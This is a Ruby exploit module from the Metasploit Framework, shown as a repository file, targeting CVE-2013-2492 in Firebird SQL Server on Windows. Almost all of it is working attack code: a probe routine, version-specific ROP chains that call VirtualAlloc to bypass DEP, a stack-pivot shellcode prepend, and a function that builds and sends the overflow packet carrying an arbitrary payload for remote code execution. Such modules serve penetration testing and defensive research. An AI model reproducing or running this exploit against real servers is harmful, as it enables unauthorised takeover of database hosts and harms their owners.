metasploit-framework/modules/exploits/windows/misc/fb_cnct_group.rb

244 lines
9.0 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize
super(
'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in Firebird SQL Server. A
specially crafted packet can be sent which will overwrite a pointer
allowing the attacker to control where data is read from. Shortly following
the controlled read, the pointer is called resulting in code execution.
The vulnerability exists with a group number is extracted from the CNCT information
which is sent by the client and the size is not properly checked.
This module utilizes an existing call to memcpy just prior to the vulnerable exception
which allows a small amount of data to be written to the stack. A small stackpivot is
used to execute a small ROP chain which provides a larger stack pivot to a larger ROP
chain which ultimately is used to execute VirtualAlloc and bypass DEP.
},
'Author' => [
'Spencer McIntyre'
],
'Arch' => [ ARCH_X86 ],
'Platform' => [ 'win' ],
'References' =>
[
[ 'CVE', '2013-2492' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh'
},
'Payload' =>
{
# mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]
'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20",
'Space' => 400,
'BadChars' => "\x00\x0a\x0d",
},
'Targets' =>
[
# pivots are pointers to stack pivots
[ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ],
[ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ],
[ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ],
[ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ],
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Jan 31 2013'
)
register_options([Opt::RPORT(3050)], self.class)
end
def check
begin
connect
rescue
return Exploit::CheckCode::Safe
end
filename = "C:\\#{rand_text_alpha(12)}.fdb"
username = rand_text_alpha(7)
check_data = ""
check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
check_data << "\x00\x00\x00\x13"
check_data << filename
check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24"
check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c"
check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
check_data << "\x00\x00\x00\x08"
sock.put(check_data)
data = sock.recv(16)
disconnect
opcode = data.unpack("N*")[0]
version = data.unpack("N*")[1]
if opcode == 3 # Accept
if [ 0xffff800b, 0xffff800c ].include?(version)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Unknown
end
def stack_pivot_rop_chain
case target.name
when 'Windows FB 2.5.2.26539'
rop_chain = [
0x005e1ea4, # MOV EAX,EDI # RETN [fbserver.exe]
0x0059ffeb, # POP EBP # RETN [fbserver.exe]
0x0000153c, # 0x0000153c-> ebp
0x005d261f, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
0x0059fe1f, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
].pack("V*")
when 'Windows FB 2.5.1.26351'
rop_chain = [
0x005e1ab8, # MOV EAX,EDI # RETN [fbserver.exe]
0x0059650b, # POP EBP # RETN [fbserver.exe]
0x0000153c, # 0x0000153c-> ebp
0x005cf6ff, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
0x0059a3db, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
].pack("V*")
when 'Windows FB 2.1.5.18496'
rop_chain = [
0x0055b844, # MOV EAX,EDI # RETN [fbserver.exe]
0x4a86ee77, # POP ECX # RETN [icuuc30.dll]
0x000001c0, # 0x000001c0-> ebp
0x005aee63, # ADD EAX,ECX # RETN [fbserver.exe]
0x4a82d326, # XCHG EAX,ESP # RETN [icuuc30.dll]
].pack("V*")
when 'Debug'
rop_chain = [ ].fill(0x41414141, 0..5).pack("V*")
end
return rop_chain
end
def final_rop_chain
# all rop chains in here created with mona.py, thanks corelan!
case target.name
when 'Windows FB 2.5.2.26539'
rop_chain = [
0x4a831344, # POP ECX # RETN [icuuc30.dll]
0x0065f16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]
0x005989f0, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
0x004666a6, # XCHG EAX,ESI # RETN [fbserver.exe]
0x00431905, # POP EBP # RETN [fbserver.exe]
0x00401932, # & push esp # ret [fbserver.exe]
0x4a844ac0, # POP EBX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> ebx
0x4a85bfee, # POP EDX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> edx
0x005dae9e, # POP ECX # RETN [fbserver.exe]
0x00000040, # 0x00000040-> ecx
0x0057a822, # POP EDI # RETN [fbserver.exe]
0x005b0384, # RETN (ROP NOP) [fbserver.exe]
0x0046f8c3, # POP EAX # RETN [fbserver.exe]
0x90909090, # nop
0x00586002, # PUSHAD # RETN [fbserver.exe]
].pack("V*")
when 'Windows FB 2.5.1.26351'
rop_chain = [
0x00656472, # POP ECX # RETN [fbserver.exe]
0x0065b16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]
0x00410940, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
0x0063be76, # XCHG EAX,ESI # RETN [fbserver.exe]
0x0041d1ae, # POP EBP # RETN [fbserver.exe]
0x0040917f, # & call esp [fbserver.exe]
0x4a8589c0, # POP EBX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> ebx
0x4a864cc3, # POP EDX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> edx
0x0064ef59, # POP ECX # RETN [fbserver.exe]
0x00000040, # 0x00000040-> ecx
0x005979fa, # POP EDI # RETN [fbserver.exe]
0x00424a50, # RETN (ROP NOP) [fbserver.exe]
0x4a86052d, # POP EAX # RETN [icuuc30.dll]
0x90909090, # nop
0x005835f2, # PUSHAD # RETN [fbserver.exe]
].pack("V*")
when 'Windows FB 2.1.5.18496'
rop_chain = [
0x005763d5, # POP EAX # RETN [fbserver.exe]
0x005ce120, # ptr to &VirtualAlloc() [IAT fbserver.exe]
0x004865a4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe]
0x004cf4f6, # XCHG EAX,ESI # RETN [fbserver.exe]
0x004e695a, # POP EBP # RETN [fbserver.exe]
0x004d9e6d, # & jmp esp [fbserver.exe]
0x4a828650, # POP EBX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> ebx
0x4a85bfee, # POP EDX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> edx
0x00590328, # POP ECX # RETN [fbserver.exe]
0x00000040, # 0x00000040-> ecx
0x4a8573a1, # POP EDI # RETN [icuuc30.dll]
0x0042ba8c, # RETN (ROP NOP) [fbserver.exe]
0x00577605, # POP EAX # RETN [fbserver.exe]
0x90909090, # nop
0x004530ce, # PUSHAD # RETN [fbserver.exe]
].flatten.pack("V*")
when 'Debug'
rop_chain = [ ].fill(0x41414141, 0..17).pack("V*")
end
return rop_chain
end
def exploit
connect
rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*")
# this data gets written to the stack via memcpy, no more than 32 bytes can be written
overwrite_and_rop_chain = [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot
overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8]
overwrite_and_rop_chain << stack_pivot_rop_chain
filename = "C:\\#{rand_text_alpha(13)}.fdb"
evil_data = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
evil_data << "\x00\x00\x00\x14"
evil_data << filename
evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24"
evil_data << "\x05\x20"
evil_data << overwrite_and_rop_chain
evil_data << "\x15\x6c\x6f\x63\x61\x6c"
evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41"
evil_data << rop_nop_sled
evil_data << final_rop_chain
evil_data << payload.encoded
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Connection Request For #{filename}")
sock.put(evil_data)
disconnect
end
end